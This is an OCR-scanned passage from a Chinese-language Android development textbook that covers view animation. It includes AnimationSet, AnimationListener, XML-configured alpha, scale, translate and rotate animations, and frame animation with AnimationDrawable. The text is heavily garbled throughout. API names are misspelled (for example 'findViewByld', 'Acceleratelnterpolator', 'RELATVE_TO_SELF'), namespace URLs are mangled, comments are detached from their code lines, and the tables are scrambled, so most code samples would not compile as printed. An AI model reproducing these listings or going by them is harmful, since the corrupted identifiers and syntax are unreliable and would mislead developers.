android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<ImageView // 图 片 组 件 

android:id="@+id/mldn”" // 组 件 ID， 程 序 中 使 用 

android:layout_width="wrap_content" // 组 件 宽度 为 图 片 宽度 

android:layout_height="wrap_content” 1/ 组件 高 度 为 图 片 高 度 

android:src="@drawable/mldn" /> // 图 片 的 资源 ID 
</LinearLayout> 


【 例 10-21】 定义 Activity 程序 ， 控 制 速率 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener; 
import android.view.animation.Acceleratelnterpolator'; 
import android.view.animation.Animation'; 
import android.view.animation.AnimationSet; 
import android.view.animation.ScaleAnimation; 
import android.view.animation. TranslateAnimation; 
import android.widget.ImageView; 
public class MyAnimationDemo extends Activity { 
private ImageView mldn = null; 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 
this.mldn = (ImageView) super.findViewByld(R.id.mldn); /取得 组 件 
this.mldn.setOnClickListener(new OnClickListenerImpl()); /设置 监 
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| 
private class OnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 
AnimationSet set = new AnimationSet(true); /定义 一 个 动画 集 
TranslateAnimation tran = new TranslateAnimation( 
Animation.RELATVE_TO_SELF, 0.0f, //X 轴 开 始 位 置 
Animation.RELATIVE_TO_SELF, 0.5f, /1X 轴 结 束 位 置 
Animation.RELATIVE_TO_SELF, 0.0f, UY 轴 开 始 位 置 
Animation.RELATIVE_TO_SELF., 1.5f); /NY 轴 结 束 位 置 
ScaleAnimation scale = new ScaleAnimation( 
1, 0.0f, /1X 轴 从 满 屏 缩小 到 无 
1, 0.0f， /IY 轴 从 满 屏 缩 小 到 无 
Animation.RELATIVE_TO_SELF, 0.5f, /自身 0.5 宽度 为 轴 缩放 
Animation.RELATVE_TO_SELF, 0.5f); // 自 身 0.5 高 度 为 轴 缩放 
scale.setRepeatCount(3) ; // 动 画 重复 3 次 
Set.setinterpolator(new Acceleratelnterpolator(0)) ; /| 逐步 加 速 
set.addAnimation(tran) ; // 增 加 动画 
set.addAnimation(scale) ; // 增 加 动画 
set.setDuration(2000) ; // 动 画 持续 时 间 为 2 秒 
MyAnimationDemo.this.mldn.startAnimation(set) ; /启动 动画 
} 
} 


} 
本 程序 采用 逐步 加 速 〈AccelerateInterpolator 类 ) 的 方式 完成 每 次 动画 速率 的 变化 ， 但 是 该 
效果 不 容易 观察 ， 读 者 可 以 根据 自己 的 眼力 对 编写 好 的 代码 进行 测试 。 


10.4.3 动画 监听 器 : AnimationListener 


在 进行 动画 的 操作 过 程 中 ， 也 可 以 对 动画 的 一 些 操作 状态 进行 监听 ， 如 动画 的 启动 、 重 复 执 
行 和 结束 。 在 Android 系统 中 专门 提供 了 一 个 android.view.animation.Animation.AnimationListener 
接口 , 用 于 完成 动画 的 监听 操作 , 在 此 接口 中 定义 了 3 个 监听 动画 的 操作 方法 , 如 表 10-15 所 示 。 


表 10-15 _ AnimationListener 接口 定义 的 方法 


.| 方法 | 类 型 | 并 述 


动画 开始 时 触发 
动画 重复 时 触发 
动画 结束 时 触发 
下 面 通过 一 个 程序 演示 AnimationListener 的 使 用 ,本 程序 的 主要 功能 是 在 动画 开始 时 增加 
-个 渐变 的 动画 效果 ， 并 且 在 动画 结束 时 删除 产生 动画 的 组 件 。 
【 例 10-22】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout // 线 性 布局 管理 器 
android:id="@+id/layout” // 布 局 管理 器 ID， 程序 中 使 用 
xmlns:android="http:/schemas.android.com/apK/res/android”" 
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android:orientation="vertical” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<ImageView // 图 片 组 件 
android:id="@+id/mldn”" // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content”" // 组 件 宽度 为 图 片 宽度 
android:layout_height= "wrap_content" // 组 件 高 度 为 图 片 高 度 
android:src="@drawable/mldn" /> // 显 示 的 图 片 资 源 ID 
</LinearLayout> 


【 例 10-23】 定义 Activity 程序 ， 使 用 动画 监听 进行 动画 操作 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
import android.view.ViewGroup; 
import android.view.animation.AlphaAnimation; 
import android.view.animation.Animation; 
import android.view.animation.Animation.AnimationListener; 
import android.view.animation.AnimationSet; 
import android.view.animation. TranslateAnimation; 
import android.widget.ImageView; 
public class MyAnimationDemo extends Activity { 
private ImageView mldn = null; 
private ViewGroup group = null ; 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 
this.mldn = (ImageView) super findViewByld(R.id.m/dn); 
this.group = (ViewGroup) super.findViewByld(R.id./ayout); 
AnimationSet set = new AnimationSet(true); 
TranslateAnimation tran = new TranslateAnimation( 
Animation.RELATIVE_TO_SELF, 0.0f, 
Animation.RELATIVE_TO_SELF, 0.5f, 
Animation.RELATIVE_TO_SELF, 0.0f, 
Animation.RELATIVE_TO_SELF, 1.5f); 
tran.setDuration(3000) ; 
set.addAnimation(tran) ; 
set.setAnimationListener(new AnimationListenerImpl()) ; 
this.mldn.startAnimation(set) ; 


} 


/定义 图 片 视图 
/定义 ViewGroup 对 象 


// 取 得 组 件 
// 取 得 布局 管理 器 
/定义 一 个 动画 集 


//X 轴 开 始 位 置 
/1X 轴 结 束 位 置 
//Y 轴 开 始 位 置 
//Y 轴 结 束 位 置 
//3 秒 完成 动画 
// 增 加 动画 
// 设 置 监听 
// 启 动 动画 


private class AnimationListenerlImpl implements AnimationListener { 


@Override 

public void onAnimationEnd(Animation animation) { 
MyAnimationDemo.this.group 

.removeView(MyAnimationDemo.this.mldn); 

} 

@Override 

public void onAnimationRepeat(Animation animation) { 

} 

@Override 


// 动 画 结 束 时 触发 
// 动 画 结束 后 组 件 消失 


// 动 画 重复 执行 时 触发 


497 


名 师 讲坛 一 一 Android 开发 实战 经 典 


public void onAnimationStart(Animation animation) { // 动 画 开始 时 触发 
if(animation instanceof AnimationSet) { /判断 类 型 


AnimationSet set = (AnimationSet) animation ; 
AlphaAnimation alpha = new AlphaAnimation(1, 0); // 完 全 显示 到 完全 透明 


alpha.setDuration(3000) ; //3 秒 完成 动画 
set.addAnimation(alpha) ; // 增 加 动画 


} 
} 


ly 
在 本 程序 中 首先 定义 了 一 个 平移 动画 的 操作 ， 而 在 动画 启动 时 又 为 动画 增加 了 一 个 渐变 的 操作 
效果 ， 当 动画 结束 之 后 ， 直 接 将 图 片 组 件 从 布局 管理 器 上 删除 ， 程 序 的 运行 效果 如 图 10-18 所 示 。 


图 10-18 动画 监听 操作 


10.4.4 通过 XML 文件 配置 动画 


通过 10.4.3 节 中 的 代码 演示 读者 应 该 对 4 种 动画 的 操作 类 有 所 了 解 , 在 Android 开发 中 , 除 
了 可 以 通过 代码 实现 动画 的 配置 外 ,也 可 以 通过 XML 文件 进行 配置 ， 这 样 就 使 得 用 户 在 不 修改 
程序 的 情况 下 实现 对 动画 的 控制 ， 以 达到 有 效 的 程序 与 配置 相 分 离 。 在 Android 系统 中 ， 所 有 定 
义 好 的 XML 文件 都 要 求 保存 在 resvanim 文件 夹 中 , 在 定义 动画 的 XML 文件 时 , 可 以 使 用 表 10-16 
定义 的 动画 效果 元 素 进行 配置 。 


7 


建议 使 用 配置 文件 完成 。 
对 于 组 件 的 动画 操作 ， 建 议 采用 配置 文件 的 方式 完成 ， 这 样 对 于 程序 的 维护 要 比 直接 在 
程序 中 编码 实现 好 许多 ， 也 符合 MVC 设计 模式 的 做 法 。 


表 10-16 可 定义 的 动画 效果 元 素 


No. 可 配置 的 元 素 描述 
<set> 为 根 节 点 ， 定 义 全 部 的 动画 元 素 
<alpha> 定义 渐变 动画 效果 
3 <scale> 定义 缩放 动画 效果 
4 <translate> 定义 平移 动画 效果 
5 <Totate> 定义 旋转 动画 效果 
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除了 表 10-16 中 定义 的 元 素 之 外 ， 在 这 些 元 素 中 可 以 配置 的 公共 Tweened Animation 属性 如 
表 10-17 所 示 。 


表 10-17 可 以 配置 的 公共 属性 


No. | ”可 配置 的 属性 数据 类 型 描 述 
1 |android:duration long 定义 动画 的 持续 时 间 ， 以 毫秒 为 单位 
2 |android:fillAfter boolean 设置 为 tmue， 表 示 该 动画 转化 在 动画 结束 后 应 用 
3_|android:fillBefore boolean 设置 为 tue， 表 示 该 动画 转化 在 动画 开始 前 应 用 


动画 插入 器 ， 如 accelerate_decelerate_interpolator〔 加速 一 减速 
动画 )、accelerate_interpolator( 加 速 动 画 )、decelerate_interpolator 
(减速 动画 ) 
动画 重复 执行 的 次 数 
动画 重复 的 模式 (restart、reverse) 
动画 之 间 的 间隔 
动画 的 Z Order 配置 : 0 (保持 Z Order 不 变 ) 、1 (保持 在 最 上 
层 ) 、-1 (保持 在 最 下 层 ) 
9 |android:interpolator Strin 指定 动画 的 执行 速率 

除了 表 10-17 列 出 的 一 些 公共 的 动画 元 素 配置 属性 外 ， 各 个 动画 模式 也 有 自己 的 配置 属性 ， 
为 了 读者 理解 、 浏 览 方便 ， 分 别 在 表 10-18~ 表 10-21 中 列 出 了 <alpha>、<scale>、<translate> 和 
<rotate> 节 点 的 属性 。 


4 |android:interpolator String 


android:repeatCount int 


6 |android:repeatMode String 


android:startOffset long 


8 |android:zAdjustment int 


提示 
配置 的 4 个 动画 属性 与 构造 方法 中 传递 的 参数 是 一 样 的 。 
在 表 10-18~ 表 10-21 中 所 列 出 的 各 个 动画 的 配置 属性 与 这 些 动画 类 的 构造 方法 中 定义 的 
参数 作用 是 一 样 的 ， 不 清楚 的 读者 可 以 通过 查询 文档 了 解 。 


表 10-18 ”<alpha> 节 点 的 属性 


描述 
动画 起 始 时 的 透明 度 ， 可 以 设置 为 0.0~1.0 之 间 的 数字 
动画 结束 时 的 透明 度 ， 可 以 设置 为 0.0~1.0 之 间 的 数字 


No. 可 配置 的 属性 
| fromAlpha 
toAlpha 


表 10-19 <scale> 节 点 的 属性 


可 配置 的 属性 描述 

fromXScale 缩放 动画 开始 时 的 和 坐标 

fromYScale 缩放 动画 开始 时 的 Y 坐标 

toXScale 缩放 动画 结束 时 的 和 坐标 

toYScale 缩放 动画 结束 时 的 立 坐 标 

组 件 相 对 位 置 的 开始 义 坐标 ， 取 值 范 围 为 0%~100%，50% 为 
入 中心 坐标 
组 件 相 对 位 置 的 开始 Y 坐标 ， 取 值 范围 为 0%~100%，50% 为 
立 中 心 坐 标 


pivotX 


pivotY 
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表 10-20 ”<translate> 节 点 的 属性 


No. 可 配置 的 属性 数据 类 型 描述 
| iomxpaa | mm 动画 开始 移动 前 的 X 举 标 


1 
2 toXDelta 动画 移动 之 后 的 和 坐标 
3 fromYDelta 动画 开始 移动 前 的 Y 坐标 
4 toYDelta 动画 移动 之 后 的 Y 坐标 
表 10-21 <rotate> 节 点 的 属性 
No. | 可 配置 的 属性 数据 类 型 描述 
RS 二 旋转 开始 角度 ， 角 度 为 正 数 表 示 顺 时 针 旋转 ， 角 度 为 负数 
表示 逆 时 针 旋 转 
ee 旋转 结束 角度 ， 角度 为 正 数 表示 顺 时针 旋 转 ， 角 度 为 负数 
表示 逆 时 针 旋 转 
pivotX at 相对 于 指定 组 件 的 X 坐标 ， 取 值 范围 为 0%~100%，50% 
为 X 中 心 坐 标 
pivoty 相对 于 指定 组 件 的 YY 坐标 ， 取 值 范围 为 0%~100%，50% 
为 了 中 心 坐 标 


由 于 现在 所 有 的 配置 文件 都 通过 XML 文件 进行 保存 ， 那 么 所 有 定义 的 XML 文件 都 会 自动 
在 了 Rjava 文件 中 进行 注册 ， 并 会 为 每 一 个 配置 文件 分 配 一 个 唯一 的 ID 编号 ， 这 样 做 可 以 方便 地 
在 Activity 程序 中 进行 读 取 ， 而 要 想 在 Activity 程序 中 读 取 这 些 配置 ， 则 需要 使 用 android.view. 
animation.AnimationUtils 类 完成 ，AnimationUtils 类 的 常用 方法 如 表 10-22 所 示 。 


表 10-22 AnimationUtils 类 的 常用 方法 
描述 
读 取 指定 的 资源 人 D 
下 面 通过 几 组 操作 具体 演示 如 何 通过 配置 文件 完成 动画 的 操作 配置 ， 当 然 程序 还 是 以 渐变 、 
缩放 、 平 移 、 旋 转 为 主 。 
1. 通过 XML 配置 渐变 操作 
【 例 10-24】 定义 res\anim\alpha.xml 文件 ， 定 义 渐 变 操 作 配 置 


<?xml version="1.0" encoding="utf-8"?> 
<set xmlns:android= "httpschemas.android .comyapkres/anaroid'> 


<alpha /定义 渐变 动画 
android:fromAlpha="1.0" // 动 画 开 始 的 alpha 值 ，1 表示 不 透明 
android:toAlpha="0.0" // 动 画 结束 的 alpha 值 ，0 表示 完全 透明 
android:duration="3000" /> // 动 画 持续 的 时 间 为 3 秒 
</set> 


本 配置 文件 定义 了 一 个 <alpha> 元 素 ， 其 中 分 别 定 义 了 alpha 值 的 变化 范围 以 及 动画 的 持续 
时 间 。 
【 例 10-25】 定义 布局 管理 器 一 一 main xml 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
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android:id="@+id/layout”" // 布 局 管理 器 ID， 程 序 中 使 用 
xmlIns:android="http:/schemas.android.com/apK/res/android" 
android:orientation="vertical” // 所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<ImageView /图 片 组 件 
android:id="@+id/mldn”" // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent”" // 组 件 宽度 为 图 片 宽 度 
android:layout_height="wrap_content” // 组 件 高 度 为 图 片 高 度 
android:src="@drawable/mldn" /> // 显 示 的 图 片 资 源 ID 
</LinearLayout> 


【 例 10-26】 定义 Activity 程序 ， 读 取 alpha.xml 文件 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener 
import android.view.animation.Animation; 
import android.view.animation .AnimationUitils; 
import android.widget.ImageView; 
public class MyAnimationDemo extends Activity { 
private ImageView mldn = null; 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 
this.mldn = (ImageView) super .findViewByld(R.id.m/dn); // 取 得 组 件 
this.mldn.setOnClickListener(new OnClickListenerImpl()); // 设 置 监听 


} 
private class OncClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 
Animation anim = AnimationUtils./oadAnimation( 
MyAnimationDemo.this, R.anim.alpha); // 读 取 动 画 配置 文件 
MyAnimationDemo.this.mldn.startAnimation(anim) ; /启动 动画 
} 
} 


} 
本 程序 直接 利用 AnimationUtils 进行 alpha.xml 动画 配置 文件 的 读 取 ， 而 程序 的 运行 效果 与 
图 10-10 一 致 。 
2. 通过 XML 配置 缩放 操作 
【 例 10-27】 定义 缩放 动画 配置 文件 
<?xml version="1.0" encoding="utf-8"?> 


<set xmlIns:android="http:/schemas.android.com/apK/res/android"> 


<scale // 定 义 缩放 动画 效果 


Tes\anim\scale.xml 
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android:fromXScale="1.0" 
android:toXScale="0.0" 
android:fromY Scale="1.0" 
android:toYScale="0.0" 
android:pivotX="50%" 
android:pivotY="50%" 
android:startOffset="100" 
android:repeatCount="3" 
android:duration="3000"/> 
</set> 


【 例 10-28】 定义 布局 管理 器 一 一 main.xml (此 布局 文件 与 之 前 讲解 的 布 


考虑 到 篇 幅 以 后 不 再 重复 列 出 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout 
android:id="@+id/layout" 


// 组 件 从 X 轴 满 屏 显 示 开 始 
// 组 件 缩小 到 无 

// 组 件 从 Y 轴 满 屏 显 示 开 始 
// 组 件 缩小 到 无 

/以 自身 0.5 宽度 为 轴 缩放 
// 以 自身 0.5 高 度 为 轴 缩放 
/| 动画 间隔 0.1 秒 

// 缩 放 动 画 重复 3 次 

/动画 持续 时 间 为 3 秒 


/线性 布局 管理 器 
// 布 局 管理 器 ID， 程序 中 使 用 


xmlins:android="http:/schemas.android.com/apk/res/android" 


android:orientation="vertica/" 
android:layout_width="fill_parent”" 
android:layout_height="fill_parent"> 
<ImageView 
android:id="@+id/mldn" 


/所 有 组 件 垂直 摆 放 

// 布 局 管理 器 宽度 为 屏幕 宽度 
// 布 局 管理 器 高 度 为 屏幕 高 度 
// 定 义 图 片 组 件 

// 组 件 ID， 程 序 中 使 用 


android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="fill_parent” // 组 件 高 度 为 屏幕 高 度 
android:src="@drawable/mldn" /> // 图 片 资源 ID 


</LinearLayout> 


【 例 10-29】 定义 Activity 程序 ， 读 取 动 画 配置 〈 部 分 代码 ) 
private class OncClickListenerlImpl implements OnClickListener { 


@Override 
public void onClick(View view) { 


Animation anim = AnimationUtils./oadAnimation( 


MyAnimationDemo.this, R.anim.scale); // 读 取 动 画 配置 文件 
MyAnimationDemo.this.mldn.startAnimation(anim) ; /启动 动画 


} 
b 


由 于 程序 是 通过 配置 文件 进行 读 取 的 , 所 以 在 本 Activity 程序 中 只 是 更 改 了 配置 文件 的 资源 
ID， 而 后 面 的 Activity 程序 代码 都 不 会 改变 (以 后 不 青 重复 列 出 ， 可 以 通过 光盘 查找 ) 。 本 程 


的 运行 效果 与 图 10-12 一 致 。 
3. 通过 XML 配置 平移 操作 


【 例 10-30】 定义 平移 动画 的 配置 文件 一 一 res\animvtranslate.xml 


<?xml version="1.0" encoding="utf-8"?> 


<set xmIns:android="http:/schemas.android.com/apK/res/android"> 


<translate 
android:fromXDelta="0.0" 
android:toXDelta="50%" 
android:fromY Delta="0.0" 
android:toYDelta="150%" 
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// 平 移动 画 

// 动 画 开始 的 X 轴 位 置 

// 动 画 结束 的 长 度 为 组 件 的 50% 
// 动 画 开始 的 Y 轴 位 置 

// 动 画 结束 的 长 度 为 组 件 的 150% 


局 文件 内 容 一 样 ， 


应 
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android:duration="3000"/> 
</set> 


// 动 画 持续 时 间 为 3 秒 


在 本 配置 文件 中 使 用 <translate> 元 素 作 为 平移 的 动画 效果 ， 所 有 的 坐标 位 置 改变 以 图 片 的 宽 
度 和 高 度 为 参考 ， 程 序 的 运行 效果 如 图 10-14 所 示 。 


4. 通过 XML 配置 旋转 操作 


【 例 10-31】 定义 旋转 动画 的 配置 文件 一 一 resanimrotate .xml 


<?xml version="1.0" encoding="utf-8"?> 


<set xmIns:android="http:/schemas.android.com/apk/res/android"> 


<rotate 
android:fromDegrees="0.0" 
android:toDegrees="+360.0" 
android:pivotX="50%p" 
android:pivotY="0%p" 
android:duration="3000"/> 
</set> 


// 旋 转动 画 

/| 动画 开始 角度 

// 动 画 结束 角度 

// 相 对 于 父 控件 的 50% 宽 ， 其 中 p 表示 parent 
// 相 对 于 父 控件 的 0% 高 

/| 动画 持续 时 间 为 3 秒 


在 本 程序 中 由 于 要 以 父 控件 的 和 X 轴 、Y 轴 为 参考 ， 所 以 在 设置 时 增加 了 一 个 字母 “p”， 表 
示 以 父 控件 为 参考 ， 如 果 用 户 不 希望 以 父 控件 为 参考 ， 而 以 控件 自身 的 50% 为 参考 ， 则 直接 编 
写 50% 即 可 ， 或 者 直接 以 一 个 绝对 位 置 的 坐标 数值 表示 ， 程 序 的 运行 效果 如 图 10-16 所 示 。 


5. 通过 XML 配置 多 种 动画 操作 


之 前 所 介绍 的 都 属于 单一 的 动画 操作 ,实际 上 在 一 个 Animation 的 开发 之 中 ,可 以 进行 多 个 
动画 的 操作 ， 而 这 些 操作 可 以 直接 在 配置 文件 中 完成 ， 下 面 编写 一 个 既 可 以 进行 平移 ， 又 可 以 


进行 缩放 的 动画 配置 文件 。 


【 例 10-32】 定义 平移 及 缩放 的 动画 配置 文件 一 一 resvanimvallxml 


<?xml version= "1.0" encoding="utf-8"?> 


<set xmIns:android="http:/schemas.android.com/apk/res/android"> 


<translate 
android:fromXDelta="0.0" 
android:toXDelta="50%" 
android:fromY Delta="0.0" 
android:toYDelta="150%" 
android:duration="3000"/> 

<scale 
android:fromXScale="1.0" 
android:toXScale="0.0" 
android:fromY Scale="1.0" 
android:toYScale="0.0" 
android:pivotX="50%" 
android:pivotY="50%" 
android:startOffset="100" 
android:repeatCount="3" 
android:duration="3000"/> 

</set> 


// 平 移动 画 

// 动 画 开始 的 X 轴 位 置 

// 动 画 结束 的 长 度 为 组 件 的 50% 
// 动 画 开始 的 Y 轴 位 置 

// 动 画 结束 的 长 度 为 组 件 的 150% 
// 动 画 持续 时 间 为 3 秒 
/定义 缩放 动画 效果 

/组件 从 X 轴 满 屏 显 示 开 始 
/组 件 缩小 到 无 

// 组 件 从 Y 轴 满 屏 显 示 开始 

// 组 件 缩小 到 无 

// 以 自身 0.5 宽度 为 轴 缩 放 

/以 自身 0.5 高 度 为 轴 缩放 

1/ 动画 间隔 0.1 秒 

/缩放 动画 重复 3 次 

/动画 持续 时 间 为 3 秒 


本 程序 同时 配置 了 两 个 动画 元 素 : <translate> 和 <scale>， 这 样 动画 在 显示 时 会 将 这 两 种 效果 


进行 登 加 ， 本 程序 的 运行 效果 如 图 10-19 所 示 。 
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图 10-19 ”动画 著 加 效果 


本 程序 配置 文件 中 包含 了 两 个 动画 效果 ， 所 以 应 该 是 一 个 动画 集合 (AnimationSet) ， 观 察 


以 下 程序 代码 : 


Animation anim = AnimationUtils./oadAnimation( 


MyAnimationDemo.this, R.anim.a/); 
MyAnimationDemo.this.mldn.startAnimation(anim) ; 


// 读 取 动 画 配 置 文件 
/启动 动画 


其 中 ,AnimationUtils. loadAnimation() 方 法 读 取出 来 的 动画 配置 的 对 象 类 型 为 Animation， 所 以 
直接 使 用 Animation 类 的 对 象 进行 接收 ， 但 实际 上 此 时 返回 的 是 AnimationSet， 而 且 AnimationSet 


也 是 Animation 的 子 类 。 
6. 通过 配置 文件 控制 动画 速率 


通过 配置 文件 也 可 以 对 速率 进行 配置 ， 下 面 将 配置 多 个 动画 ， 并 且 所 有 的 动画 将 采用 增 速 


的 速率 配置 。 


【 例 10-33】 定义 速率 的 配置 文件 一 一 allLxml 


<?xml version= "1.0" encoding="utf-8"?> 


<set 


xmlins:android="http:/schemas.android.com/apk/res/android" 
android:interpolator="@android:anim/accelerate_interpolator”// 定 义 速率 为 增 速 


android:sharelnterpolator="true’> 

<translate 
android:fromXDelta="0.0" 
android:toXDelta="50%" 
android:fromY Delta="0.0" 
android:toYDelta="150%" 
android:duration="3000"/> 

<scale 
android:fromXScale="1.0" 
android:toXScale="0.0" 
android:fromY Scale="1.0" 
android:toYScale="0.0" 
android:pivotX="50%" 
android:pivotY="50%" 
android:startOffset="100" 
android:repeatCount="3" 
android:duration="3000"/> 

</set> 


/所 有 动画 共享 此 速率 配置 
/平移 动画 

// 动 画 开始 的 X 轴 位 置 

// 动 画 结束 的 长 度 为 组 件 的 50% 
// 动 画 开始 的 Y 轴 位 置 

// 动 画 结束 的 长 度 为 组 件 的 150% 
// 动 画 持续 时 间 为 3 秒 

// 定 义 缩放 动画 效果 

/| 组件 从 X 轴 满 屏 显示 开始 

// 组 件 缩小 到 无 

/| 组件 从 Y 轴 满 屏 显 示 开始 

// 组 件 缩小 到 无 

// 以 自身 0.5 宽度 为 轴 缩 放 

// 以 自身 0.5 高 度 为 轴 缩放 

// 动 画 间 隔 0.1 秒 

// 缩 放 动画 重复 3 次 

// 动 画 持续 时 间 为 3 秒 


本 程序 在 <set> 元 素 上 进行 了 动画 速率 的 配置 , 采用 的 动画 速率 为 增 速 (accelerate_interpolator) ， 
而 所 有 的 动画 效果 都 共享 这 一 配置 的 速率 (android:shareInterpolator="true") 。 
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10.4.5 Frame Animation 


Frame Animation 的 主要 功能 是 采用 帧 的 方式 进行 动画 效果 的 编排 所 有 动画 会 按照 事先 定义 
好 的 顺序 执行 ， 而 后 像 电影 那样 展现 给 用 户 ， 如 果 想 使 用 这 种 动画 ， 则 需要 利用 android.graphics. 
drawable.AnimationDrawable 类 进行 处 理 ，AnimationDrawable 类 的 常用 方法 如 表 10-23 所 示 。 


表 10-23 ”AnimationDrawable 类 的 常用 方法 
No. 方法 描述 
1 public void start0) i 启动 动画 
设置 动画 执行 次 数 ，true 表示 一 次 , false 
表示 执行 多 次 


2 public void setOneShot(boolean oneShot) 


对 于 Frame Animation 动画 ， 也 可 以 在 XML 文件 中 进行 配置 ， 同 样 需要 将 配置 文件 保存 在 
res\anim 文件 夹 中 ， 但 是 此 配置 文件 的 根 节点 为 <animation-list>， 其 中 包含 多 个 <item> 元 素 ， 用 
于 定义 每 一 帧 动画 ， 其 可 以 配置 的 属性 如 表 10-24 所 示 。 


表 10-24 可 以 配置 的 属性 


每 一 帧 动画 的 资源 
动画 的 持续 时 间 
是 否 只 显示 一 次 ，true 为 只 显示 
定义 drawable 是 否 初 始 可 见 


【 例 10-34】 定义 一 个 动画 配置 资源 一 一 res\anim\allface.xml 


<animation-list 


// 定 义 动画 集合 


xmlins:android="http:/schemas.android.com/apk/res/android" 


android:oneshot="true”> 


// 默 认为 显示 一 次 


<item // 定 义 动画 帧 
android:drawable="@drawable/face_01" /引入 的 图 片 资源 
android:duration="200" /> // 动 画 持续 时 间 为 0.2 秒 

<item // 定 义 动画 帧 
android:drawable="@drawable/face_02" /引入 的 图 片 资源 
android:duration="200" /> // 动 画 持续 时 间 为 0.2 秒 

<item // 定 义 动画 帧 
android:drawable="@drawable/face_03" /引入 的 图 片 资源 
android:duration="200" /> // 动 画 持续 时 间 为 0.2 秒 

<item /| 定义 动画 帧 
android:drawable="@drawable/face_04" // 引 入 的 图 片 资源 
android:duration="200" /> // 动 画 持续 时 间 为 0.2 秒 

<item /定义 动画 帧 
android:drawable="@drawable/face_05”" /引入 的 图 片 资源 
android:duration="200" /> // 动 画 持续 时 间 为 0.2 秒 

<item // 定 义 动画 帧 
android:drawable="@drawable/face_06” // 引 入 的 图 片 资 源 
android:duration="200" /> // 动 画 持续 时 间 为 0.2 秒 


-次 ，false 为 重复 显示 
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<item // 定 义 动画 帧 
android:drawable="@drawable/face_07” // 引 入 的 图 片 资 源 
android:duration="200" /> // 动 画 持续 时 间 为 0.2 秒 

<item // 定 义 动画 帧 
android:drawable="@drawable/face_08" /引入 的 图 片 资源 
android:duration="200" /> // 动 画 持续 时 间 为 0.2 秒 


</animation-list> 


本 程序 使 用 <item> 定 义 了 多 个 动画 帧 ， 而 每 一 个 动画 


drawable-hdpi 目录 下 ) ， 每 帧 动画 的 持续 时 间 为 0.2 秒 。 


【 例 10-35】 定义 布局 文件 ， 操 作 动 画 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout 


帧 都 显示 一 张 图 片 (图片 资源 保存 在 


// 线 性 布局 管理 器 


xmlins:android="http:/schemas.android.com/apK/res/android" 


android:orientation="Vertica/" // 所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent” // 布 局 管理 器 高 度 为 屏幕 高 度 
android:background=#FFFFFF"> 1/ 背景 为 白色 
<ImageView /| 图片 组 件 
android:id="@+id/face”" // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content” // 组 件 宽度 为 图 片 宽度 
android:layout_height="wrap_content"/> // 组 件 高 度 为 图 片 高 度 
<Button /按钮 组 件 
android:id="@+id/start” // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content” // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content" // 组 件 高 度 为 文字 高 度 
android:text= "开始 动画 /> /| 默认 显示 文字 
</LinearLayout> 
【 例 10-36】 定义 Activity 程序 ， 操 作 帧 动画 
package org.Ixh.demo; 
import android.app.Activity; 
import android.graphics.drawable.AnimationDrawable; 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener 
import android.widget.Button; 
import android.widget.ImageView; 
public class MyAnimationDemo extends Activity { 
private ImageView face = null; /图 片 组 件 
private Button start = null; /按钮 组 件 
private AnimationDrawable draw = null; // 动 画 操作 


@Override 

public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 


this .face = (ImageView) super .findViewByld(R.id.face); // 取 得 图 片 
this.start = (Button) super .findViewByld(R.id.stant); // 取 得 按钮 
this.start.setOnClickListener(new OnClickListenerlImpl()) ; /设置 监听 


} 


private class OnClickListenerImpl implements OnClickListener { 
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@Override 
public void onClick(View view) { 
MyAnimationDemo.this face 
.setBackgroundResource(R.anim.allface); /设置 动画 资源 
MyAnimationDemo.this.draw = (AnimationDrawable) 


MyAnimationDemo.this .face 

getBackground(); // 取 得 背景 的 Drawable 
MyAnimationDemo.this.draw.setOneShot(false); // 动 画 执 行 次 数 
MyAnimationDemo.this.draw.start(); // 开 始 动画 


} 
} 


} 

本 程序 首先 通过 setBackgroundResource0) 方 法 取得 了 动画 的 配置 文件 资源 ， 之 后 又 通过 
getBackground() 方 法 取得 了 组 件 的 Drawable 对 象 ， 随 后 通过 AnimationDrawable 提供 的 start0 方 
法 进行 动画 的 启动 。 由 于 本 程序 是 动画 显示 ， 读 者 可 以 自行 实验 以 观察 程序 的 运行 效果 。 


10.4.6 LayoutAnimationController 组 件 


LayoutAnimationController 表示 在 Layout 组 件 上 使 用 动画 的 操作 效果 , 例如 , 在 进行 图 片 列 
表 显 示 时 增加 一 些 动画 效果 ， 或 者 是 使 用 ListView 增加 一 些 动画 效果 等 ， 而 所 增加 的 动画 效果 
